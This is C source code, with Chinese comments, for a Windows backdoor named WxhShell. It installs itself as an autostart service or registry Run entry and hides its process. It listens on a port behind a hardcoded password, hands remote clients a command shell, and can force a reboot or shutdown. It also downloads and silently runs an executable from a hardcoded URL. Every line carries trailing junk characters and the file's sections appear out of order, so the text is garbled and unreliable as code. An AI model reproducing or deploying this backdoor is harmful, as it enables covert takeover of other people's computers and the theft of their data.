    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); aSK$#Xeu  
    if(Boot(SHUTDOWN)) ##n\9ipD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); IcIMa  
    else { -[7.VP   
    closesocket(wsh); MRC5c:(  
    ExitThread(0); e1IuobT  
    } /0\pPc*kA{  
    break;  (&gCVf  
    } $jzk4V  
  // 获取shell u(~s$ENl  
  case 's': { ,J~1~fg89  
    CmdShell(wsh); Bo0y"W[+  
    closesocket(wsh); (%r:PcGMEV  
    ExitThread(0); u3<])}I'  
    break; Z6*RIdD>  
  } utTek5/  
  // 退出 |/(5GX,X  
  case 'x': { r;'!qwr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s=d?}.E$  
    CloseIt(wsh); j=gbUXv/  
    break; },"g*  
    } mb/3 #)  
  // 离开 O^<6`ku  
  case 'q': { y>#j4%D~4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); m2}&5vD8-  
    closesocket(wsh); %EpK=;51U  
    WSACleanup(); vx4& ;2  
    exit(1); Hv=coS>g:  
    break; \.{JS>!  
        } H}$#aXEAn  
  } T8\,2UWsj2  
  } ]I]dwi_g)  
_ <~05Eh  
  // 提示信息 '0=U+Egp  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4 '+)9&g  
} ~W#f,mf  
  } J)-owu;  
7]^Cg;EtM:  
  return; *\`C! r  
} Q\r qG  
8t^"1ND  
// shell模块句柄 td m{ V st  
int CmdShell(SOCKET sock) 1dq.UW\  
{ Rsulp#['  
STARTUPINFO si; *H$nydQ:  
ZeroMemory(&si,sizeof(si)); tyDtwV|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )CmuC@ Q"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m0edkt-x  
PROCESS_INFORMATION ProcessInfo; V4"AFArI  
char cmdline[]="cmd"; .dygp"*  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4a 5n*6G!  
  return 0; >}I}9y+  
} }+B7C2_\  
f&`*x t/  
// 自身启动模式 \?g%>D:O;  
int StartFromService(void) \uYUX~}i"  
{ >hhd9  
typedef struct Uyh   
{ M&K@><6k,k  
  DWORD ExitStatus; ufJFS+?  
  DWORD PebBaseAddress; <hea%6  
  DWORD AffinityMask; CxRp$;rk  
  DWORD BasePriority; WLpn,8qsY  
  ULONG UniqueProcessId; wiVQMgi`  
  ULONG InheritedFromUniqueProcessId; ?1{`~)"  
}   PROCESS_BASIC_INFORMATION; @U)'UrNr~  
6M6QMg^  
PROCNTQSIP NtQueryInformationProcess; JC#@sJ4az)  
Dux`BKl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; G^R;~J*TDE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -Z Z$ 1E  
06`__$@h  
  HANDLE             hProcess; _(jE](,  
  PROCESS_BASIC_INFORMATION pbi; UqHOS{\Sz  
08f~vw"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1_t Dp& UO  
  if(NULL == hInst ) return 0; d;=,/a  
b'OO~>86  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); !69^ kIi$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 1D`RR/g&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {7wvC)WW  
ky#6M? \  
  if (!NtQueryInformationProcess) return 0; e\dT~)c  
KZE.}8^%D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2eK\$_b_  
  if(!hProcess) return 0; y((_V%F}  
WY,t> 1c  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @v'D9 ?  
:+5afv}  
  CloseHandle(hProcess); gv,T<A?Z2  
<\8   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =oTYwU  
if(hProcess==NULL) return 0; U&5zs r  
W wE)XE  
HMODULE hMod; Mz^s^aJEE  
char procName[255]; |:?.-tq  
unsigned long cbNeeded; o ,!"E^  
2%8Y-o?  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Jv<)/Km`  
Id*^H:]C#  
  CloseHandle(hProcess); >(CoXSV5  
vz:0"y  
if(strstr(procName,"services")) return 1; // 以服务启动 g?VME]:  
Psa8OJan  
  return 0; // 注册表启动 kziBHis!  
} a(~Yr A%~  
u s0'7|{q  
// 主模块 5:d2q<x:{  
int StartWxhshell(LPSTR lpCmdLine) ^zJ. W  
{ OW}A48X[+  
  SOCKET wsl; O}-7 V5  
BOOL val=TRUE; hN53=X:  
  int port=0; h%s  
  struct sockaddr_in door; h6e$$-_  
rsv!mY,Em  
  if(wscfg.ws_autoins) Install(); ;5k|gW  
~K96y$ DTE  
port=atoi(lpCmdLine); )R@gnTe  
-],?kP  
if(port<=0) port=wscfg.ws_port; DG\YZV4  
])L'Rk#4  
  WSADATA data; -9I%   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \Sby(l  
gJxVU41  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   c.Y8CD.tqL  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;8T=uCi  
  door.sin_family = AF_INET; ~BZV:Es  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q $0%~`t  
  door.sin_port = htons(port); %m) h1/l  
)JQQ4D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {  {Yk20Zn  
closesocket(wsl); mv?H]i`N  
return 1; y7-:l u$9  
} J\+gd%  
b6Hk20+B;  
  if(listen(wsl,2) == INVALID_SOCKET) { <M?#3&5A  
closesocket(wsl); mtQ{6u  
return 1; $jm<' 4  
} $-?5Q~  
  Wxhshell(wsl); }.cmiC  
  WSACleanup(); Oc9>F\]_m  
U_;J.{n  
return 0; 9sj W  
8@KFln )[  
} SWsv,  
Mgs|*u-5  
// 以NT服务方式启动 V8$bPVps  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) u2B W]T]  
{ Qsxkw  
DWORD   status = 0; &[Zap6]  
  DWORD   specificError = 0xfffffff; #(+HSZm  
i;zGw.;Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 9*+0j2uhQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; llfiNEK5;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Z_ gV Ya  
  serviceStatus.dwWin32ExitCode     = 0; (+8xUc(w  
  serviceStatus.dwServiceSpecificExitCode = 0; $A@3ogoS&  
  serviceStatus.dwCheckPoint       = 0; bM0[V5:jB  
  serviceStatus.dwWaitHint       = 0; y6Epi|8  
{dx /p-Tv  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 0o$HC86w  
  if (hServiceStatusHandle==0) return; wv.Ul rpx.  
s]vJUC,s  
status = GetLastError(); Sje0:;;|  
  if (status!=NO_ERROR) HL}~W}!j  
{ % rY8  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; >^f)|0dn)E  
    serviceStatus.dwCheckPoint       = 0; .S'fM]_#  
    serviceStatus.dwWaitHint       = 0; |id79qY7g  
    serviceStatus.dwWin32ExitCode     = status; XQJ^)d00h  
    serviceStatus.dwServiceSpecificExitCode = specificError; u%1k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8C,utjy  
    return; ObyuhAR  
  } ho]!G498  
MupW=3.38  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <S8W~ wC  
  serviceStatus.dwCheckPoint       = 0; +F~0\#d  
  serviceStatus.dwWaitHint       = 0; &<V_[Wh"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sp Q4m  
} z2Y_L8u2  
W+f&%En  
// 处理NT服务事件,比如:启动、停止 @ZkAul0@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B+e_Y\B u  
{ tkN3BQ  
switch(fdwControl) NC.P 2^%  
{ QYTTP6 Gz+  
case SERVICE_CONTROL_STOP: yEUNkZ5^  
  serviceStatus.dwWin32ExitCode = 0; PWk ?8dL-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]6B mCh  
  serviceStatus.dwCheckPoint   = 0; *Qg5Z   
  serviceStatus.dwWaitHint     = 0; ZE8/ m")  
  { ,B~lwF9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h lkvk]v  
  } KM5DYy2 A6  
  return; +dgo-)kP(_  
case SERVICE_CONTROL_PAUSE: /LI~o~m1)  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N+s?ZE*  
  break; FQ^<,  
case SERVICE_CONTROL_CONTINUE: l!;_lH8W$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; F!)M<8jL&9  
  break; 14r Vb2^  
case SERVICE_CONTROL_INTERROGATE: hD$p;LF  
  break; S#h'\/S  
}; (~7m"?  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z<N&UFw7QJ  
} uZo`IKJ  
c{,y{2c]LT  
// 标准应用程序主函数 G/fP(o-Wd  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c+8>EU AW  
{ Oj"pj:fB  
6MQs \J6.  
// 获取操作系统版本 1<W4>~,wj  
OsIsNt=GetOsVer(); ,qe]fo >  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 5BU%%fBJ.  
v LBee>$  
  // 从命令行安装 \,l.p_<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 8|5Gv  
oEenm\ZI  
  // 下载执行文件 Txt%nzIu  
if(wscfg.ws_downexe) { )l#%.Z9  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  :Hzz{'  
  WinExec(wscfg.ws_filenam,SW_HIDE); (:?5 i`  
} t+3   
>[|GC/C  
if(!OsIsNt) { lrs0^@.+  
// 如果时win9x,隐藏进程并且设置为注册表启动 ;]gsJ9FK<  
HideProc(); :F^$"~(,  
StartWxhshell(lpCmdLine); ~KAp\!,  
} Y ]~ HAv '  
else ]27>a"p59Y  
  if(StartFromService()) @ ],6SKbG6  
  // 以服务方式启动 :BL'>V   
  StartServiceCtrlDispatcher(DispatchTable); I|KY+k> /  
else 8h&oSOkQk,  
  // 普通方式启动 `Di ^6UK(  
  StartWxhshell(lpCmdLine); mUrS &&fu8  
?w]"~   
return 0; A6^p}_  
} E!zd(  
%\}dbYS '  
( zn_8s  
5q5 )uv"  
=========================================== Q7~'![(a  
@<D'-mMt  
V[o7J r~  
UAsF0&]  
MAE7A"l a  
{D_++^  
" 6R1wn&8  
ny12U;'s,  
#include <stdio.h> Sf  024  
#include <string.h> 3>-[B`dD(  
#include <windows.h> y|q@;*rGNa  
#include <winsock2.h> jlu`lG*e&  
#include <winsvc.h> (NH8AS<  
#include <urlmon.h> @-'/__cgt  
^M`>YOU2+  
#pragma comment (lib, "Ws2_32.lib") K1?Z5X(b  
#pragma comment (lib, "urlmon.lib") J)9 AnGWe  
"/ tUA\=j  
#define MAX_USER   100 // 最大客户端连接数 A Gv!c($  
#define BUF_SOCK   200 // sock buffer = EQN-{#  
#define KEY_BUFF   255 // 输入 buffer J+ Jt4  
AMbKN2h1f  
#define REBOOT     0   // 重启 DMF?5GX  
#define SHUTDOWN   1   // 关机 5;IT64&]  
.:w#&yM [U  
#define DEF_PORT   5000 // 监听端口 f ,tW_g  
\hs/D+MCk  
#define REG_LEN     16   // 注册表键长度 YV5Yx-+3w$  
#define SVC_LEN     80   // NT服务名长度 l6iw=b[?  
8)L'rW{q#  
// 从dll定义API z-n>9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); R[x7QlA;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {eEBrJJeB  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); To3^L_v"  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3>RcWy;1i  
iI3v[S  
// wxhshell配置信息 p86~~rvq[  
struct WSCFG { R'rTE  
  int ws_port;         // 监听端口 FX H0PK  
  char ws_passstr[REG_LEN]; // 口令 ,"~WkLI~\t  
  int ws_autoins;       // 安装标记, 1=yes 0=no TQ; Z.)L  
  char ws_regname[REG_LEN]; // 注册表键名 /_]ltXD  
  char ws_svcname[REG_LEN]; // 服务名 *8z"^7?^=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [/ AIKZM<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 I[}75:^Rt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?q\FLb%"7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %dEB/[  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7=}6H3|&  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 d)N^PJ/  
ZB-QABn  
}; Fj S%n$  
,mBZ`X@N  
// default Wxhshell configuration &|)hCJu  
struct WSCFG wscfg={DEF_PORT, $j57LY|r  
    "xuhuanlingzhe", js~tKUvg  
    1, F"!agc2!  
    "Wxhshell", \Ke8W,)ew  
    "Wxhshell", 1Fv8T'  
            "WxhShell Service", T YYp"wx  
    "Wrsky Windows CmdShell Service", G 0hYFc u  
    "Please Input Your Password: ", @&;(D!_&  
  1, Z+ixRch@-s  
  "http://www.wrsky.com/wxhshell.exe", v2d<o[[C  
  "Wxhshell.exe" M)L/d_4ka  
    }; Kl{-zX  
zG_p"Z7,  
// 消息定义模块 _}D%iJg#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; KE<kj$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; .Y;b)]@f  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yH^f\u0  
char *msg_ws_ext="\n\rExit."; n|WfaJQZ  
char *msg_ws_end="\n\rQuit."; +#4]o }6G  
char *msg_ws_boot="\n\rReboot..."; tv0Ha A  
char *msg_ws_poff="\n\rShutdown..."; T=WNBqKo]  
char *msg_ws_down="\n\rSave to "; UH[<&v  
uKv&7p@|_)  
char *msg_ws_err="\n\rErr!"; hi!`9k  
char *msg_ws_ok="\n\rOK!"; qP7G[%=v  
WJfES2N  
char ExeFile[MAX_PATH]; 2UiR~P]%  
int nUser = 0; GD!- qH  
HANDLE handles[MAX_USER]; e9&+vsRmA  
int OsIsNt; 62Mdm3  
</= CZy5w  
SERVICE_STATUS       serviceStatus; 5y]io Jc9-  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 6O pa{]  
r088aUO P  
// 函数声明 ^5>s7SGB"  
int Install(void); $_sYfU9  
int Uninstall(void); C}q>YRubZ  
int DownloadFile(char *sURL, SOCKET wsh); .jA\f:u#  
int Boot(int flag); Z^+rQ.%n"&  
void HideProc(void); qe?Qeh(!X  
int GetOsVer(void); +Gow5-(  
int Wxhshell(SOCKET wsl); %#u.J  
void TalkWithClient(void *cs); l;OYUq~F  
int CmdShell(SOCKET sock); 8'_ 0g[s  
int StartFromService(void); /prYSRn8  
int StartWxhshell(LPSTR lpCmdLine); Z0$] tS  
Z0-ytODI I  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Vo\H<_=G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >)NQH9'1  
eX"''PA  
// 数据结构和表定义 ~h! 13!  
SERVICE_TABLE_ENTRY DispatchTable[] = ?R|th Z  
{ #jBN?Z#  
{wscfg.ws_svcname, NTServiceMain}, =s;M]:  
{NULL, NULL} KVN"XqE4  
}; [[WF0q  
!;v.>.lw  
// 自我安装 Mu{BUtkzG  
int Install(void) ~EEs} i  
{ 9 #qeFBI  
  char svExeFile[MAX_PATH]; "k:=Y7Dx  
  HKEY key; dFW.}"^c  
  strcpy(svExeFile,ExeFile); CQgcC-)ns]  
*nRNg.i3D  
// 如果是win9x系统,修改注册表设为自启动 s5&=Bsv  
if(!OsIsNt) { (Sv>NQp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { io.]'">  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .IgRY\?Q  
  RegCloseKey(key); K*Ks"Vx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'H|~u&?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); qM",( Bh  
  RegCloseKey(key); ]]2k}A[-I  
  return 0; wC`;f5->  
    }  w_Uh  
  } _fn1)  
} l+zb~  
else { vN65T$g7  
n-J2/j  
// 如果是NT以上系统,安装为系统服务 [|RjHGf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ys8Q.oBv_`  
if (schSCManager!=0) )&,{?$.  
{ _w!a`w*3  
  SC_HANDLE schService = CreateService ;h Hi@Z 9  
  ( 20tO#{Li  
  schSCManager, xq[Yg15d%  
  wscfg.ws_svcname, fPqr6OYz  
  wscfg.ws_svcdisp, wvN`R  
  SERVICE_ALL_ACCESS, <{Q'&T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , q/PNJ#<  
  SERVICE_AUTO_START, `)K y0&?  
  SERVICE_ERROR_NORMAL, \+m$  
  svExeFile, *jITOR!uF`  
  NULL, 7 ^$;  
  NULL, <+v{GF#R  
  NULL, o&SSv W  
  NULL, z-r2!^q27  
  NULL r2\c'9uH  
  ); -Q"hZ9  
  if (schService!=0) j}f[W [2  
  { D-&a n@  
  CloseServiceHandle(schService); ]s_8A`vm  
  CloseServiceHandle(schSCManager); H'DVwnn>ik  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ,<` )>2 'o  
  strcat(svExeFile,wscfg.ws_svcname); )OP){/   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8e&p\%1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Kz?#C  
  RegCloseKey(key); s{}]D{bc  
  return 0; @Jn!0Y1_3  
    } 7TX2&kMoc  
  } xZ.!d.rn  
  CloseServiceHandle(schSCManager); np9dM  
} &7>zURv  
} 56}X/u  
h8{(KRa6  
return 1; B&0; 4  
} =&nW~<- v  
@'6"7g  
// 自我卸载 /=:j9FF  
int Uninstall(void) C! 9}  
{ ztll}  
  HKEY key; 5B4Ssrs5W~  
%,P >%'0  
if(!OsIsNt) { *ZrSiIPP  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { !t#F/C  
  RegDeleteValue(key,wscfg.ws_regname); xHA0gZf  
  RegCloseKey(key); Fc6iQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { L|j%S  
  RegDeleteValue(key,wscfg.ws_regname); 3=mr "&]r:  
  RegCloseKey(key); 8LzBh_J?  
  return 0; u<xo/=Z  
  } =r2]uW9  
} P-`(0M7^  
} 9+=gke  
else { $IQw=w7 p  
% Zjdl  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <0P5 o|  
if (schSCManager!=0) 8\.b4FNJ  
{ Yk!/ow@.  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 0RFRbi@n(  
  if (schService!=0) zp}eLm:=d  
  { >l']H*&B<  
  if(DeleteService(schService)!=0) { 80OtO#1y  
  CloseServiceHandle(schService); I:98 $r$  
  CloseServiceHandle(schSCManager); +]Zva:$#`  
  return 0; (V:E2WR  
  } V!_71x\-Q  
  CloseServiceHandle(schService); zP\7S}p7%  
  } R%Y`=pK>}  
  CloseServiceHandle(schSCManager); GL Mm(  
} .B2]xfo"`  
} ^x>Qf(b  
Z @ dC+0[=  
return 1; , t5 '  
} $;N*cH~  
4<dcB@v  
// 从指定url下载文件 j$7|XM6  
int DownloadFile(char *sURL, SOCKET wsh) v=@TWEE  
{ Zdc63fllM  
  HRESULT hr; CNZz]H  
char seps[]= "/"; Q4*?1`IsR  
char *token; ElhRF{R  
char *file; /D&%v *~E  
char myURL[MAX_PATH]; {76c%<`WaP  
char myFILE[MAX_PATH]; Rhc-q|Lz8  
FY{e2~gi  
strcpy(myURL,sURL); TfYVw~p_%  
  token=strtok(myURL,seps); soA|wk\A  
  while(token!=NULL) #G" xNl  
  { O/s $SX%g  
    file=token; PXzsj.  
  token=strtok(NULL,seps); |1b _*G4|  
  } yZr M.%V  
>{gPN"S"a  
GetCurrentDirectory(MAX_PATH,myFILE); S8[=S  
strcat(myFILE, "\\"); Dl(3wgA  
strcat(myFILE, file); K_)eWf0a  
  send(wsh,myFILE,strlen(myFILE),0); i':ydDOOHA  
send(wsh,"...",3,0); 58\&/lYW  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XR2~Q)@  
  if(hr==S_OK) TxjYrzC  
return 0; nRL. ppUI  
else M5nWVK7c  
return 1; R'EUV0KX>Y  
7w,FX.=;cv  
} DI+]D~N  
Unj.f>U  
// 系统电源模块 voP7"Dl[  
int Boot(int flag) wN1niR'  
{ |F,R&<2  
  HANDLE hToken; dI&!e#Y  
  TOKEN_PRIVILEGES tkp; j`^$#  
$vC1 K5sLk  
  if(OsIsNt) { QO;N9ZI  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); zJP6F.Ov!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); X[`bMa7IB(  
    tkp.PrivilegeCount = 1; b2aF 'y/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; EVp,Q"V]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3bk|<7tl  
if(flag==REBOOT) { ) [0T16  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f` =CpO*  
  return 0; @KX \Er  
} (" LQll9  
else { + a- 6Q ~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ];.pK  
  return 0; '!l 1=cZD  
} 4wC+S9I#E^  
  } d ;vT ~;  
  else { 6"Bic rY  
if(flag==REBOOT) { $o$ maA0  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) d>;&9;)H  
  return 0; M@ed>.  
} ;};wq&b#  
else { z<H~ItX,n  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) HGm 3+,  
  return 0; 6qcO?U  
} 9Gv[ 8'I  
} 'YNT8w/3  
^Wxad?@  
return 1; GKN%Tv:D_  
} GpZ c5c  
!Mi;*ZR  
// win9x进程隐藏模块 f|O{#AC  
void HideProc(void) o-}R?>  
{ :ba5iMa  
O@p]KSfk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 311LC cRp  
  if ( hKernel != NULL ) :Ad &$e g+  
  { t#q<n:WeYU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PaV-F_2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9Xx's%U  
    FreeLibrary(hKernel); %f($*l.  
  } EwOV;>@T?  
V(Ub!n:j  
return; K|dso]b/  
} w@N  
^]{R.(#z  
// 获取操作系统版本 ByCnD  
int GetOsVer(void) `jwa<N4e@  
{ 7o8{mp'_  
  OSVERSIONINFO winfo; V<Z[ nq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); s kg*  
  GetVersionEx(&winfo); ]X I*Wsn  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /_ `lz^  
  return 1; gx%|Pgd  
  else V}\~ugN)y  
  return 0; @}u9Rn*d;  
} ],P;WPU  
?O>V%@  
// 客户端句柄模块 <=f}8a.R3  
int Wxhshell(SOCKET wsl) 9K9DF1SOa  
{ =i~}84>  
  SOCKET wsh; a'z)  
  struct sockaddr_in client; +nJUFc  
  DWORD myID; lo[.&GD  
=$]uoA  
  while(nUser<MAX_USER) )_U<7"~0l  
{ >nzdnF_&zW  
  int nSize=sizeof(client); ,yd?gP-O  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !Q#{o^{Y~  
  if(wsh==INVALID_SOCKET) return 1; lT(oL|{#P  
;3' .C~   
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kT;S4B  
if(handles[nUser]==0) -wjN"g<  
  closesocket(wsh); F&&$Qn_+  
else br|;'i%(  
  nUser++; dPhQ :sd>  
  } ]\!?qsT3}  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); jYe'V#5S#  
.k,kTr$ S  
  return 0; )I3NeKWz  
} ?Wz8[u  
EVoE szR  
// 关闭 socket TYy.jFT-  
void CloseIt(SOCKET wsh) V{JAB]?^  
{ 6L)%T02C  
closesocket(wsh); -;'1^  
nUser--; R) c'#St  
ExitThread(0); 3D2E?$dX  
} U~pV)J  
() j =5KDu  
// 客户端请求句柄 )kP5u`v  
void TalkWithClient(void *cs) '_V2!?+RU+  
{ >uSy  
'#k0a,<N  
  SOCKET wsh=(SOCKET)cs; KN*  
  char pwd[SVC_LEN]; eM+!Y>8Y  
  char cmd[KEY_BUFF]; hNzB4 p  
char chr[1]; |o\8  
int i,j; y~FV2$  
&}A[x1x06)  
  while (nUser < MAX_USER) { gSh+}r<7  
wu)w   
if(wscfg.ws_passstr) { ~J P=T  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 1R,:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l(02W  
  //ZeroMemory(pwd,KEY_BUFF); |9B.mBoX  
      i=0; m%76i;uP  
  while(i<SVC_LEN) { ~8]NK&J  
dxmE3*b`  
  // 设置超时 YxP&7oq  
  fd_set FdRead; 7(5 4/  
  struct timeval TimeOut; q}]XYys  
  FD_ZERO(&FdRead); UXh9:T'%  
  FD_SET(wsh,&FdRead); [Nk3|u`h  
  TimeOut.tv_sec=8; )Q .>rX,F  
  TimeOut.tv_usec=0; 5=Di<!a;  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ndkti5L,   
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Cvf[/C+  
9T1ZL5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u,UmrR  
  pwd=chr[0]; |]c8jG\h  
  if(chr[0]==0xd || chr[0]==0xa) { 49vcoHlf  
  pwd=0; Qc pm !  
  break; R;j!}D!4  
  } :AE&Ny4  
  i++; <>8WQn,K  
    } c`o7d)_Ke  
'nwx9]q  
  // 如果是非法用户,关闭 socket ,]d,-)KX8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3d e_V|%  
} >M`CVUf  
bdc&1I$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s#WAR]x0x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); bLwAXW2K+  
iB498t  
while(1) { lMBLIB]i  
^3UGV*Ypk  
  ZeroMemory(cmd,KEY_BUFF); K2<9mDn&  
wbst8 *$  
      // 自动支持客户端 telnet标准   k<" oiCE  
  j=0; aP/T<QZ~  
  while(j<KEY_BUFF) { 7D;cw\ |  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hUF5fZqii  
  cmd[j]=chr[0]; ~FN9 [aJF+  
  if(chr[0]==0xa || chr[0]==0xd) { zaK#Z?V}  
  cmd[j]=0; {$wjO7Glp  
  break; urjjw.wZ  
  } 0`[wpZ  
  j++;  m5r7  
    } N9v1[~ bv_  
]VD|xm:kj  
  // 下载文件 [_}J F}6  
  if(strstr(cmd,"http://")) { W#hj 1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =,UWX3`f  
  if(DownloadFile(cmd,wsh)) Y$?9Zkp>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tQBRA/  
  else "*Tb" 'O  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |563D#?cR  
  } -$dXE+&   
  else { e=+?K5q{P(  
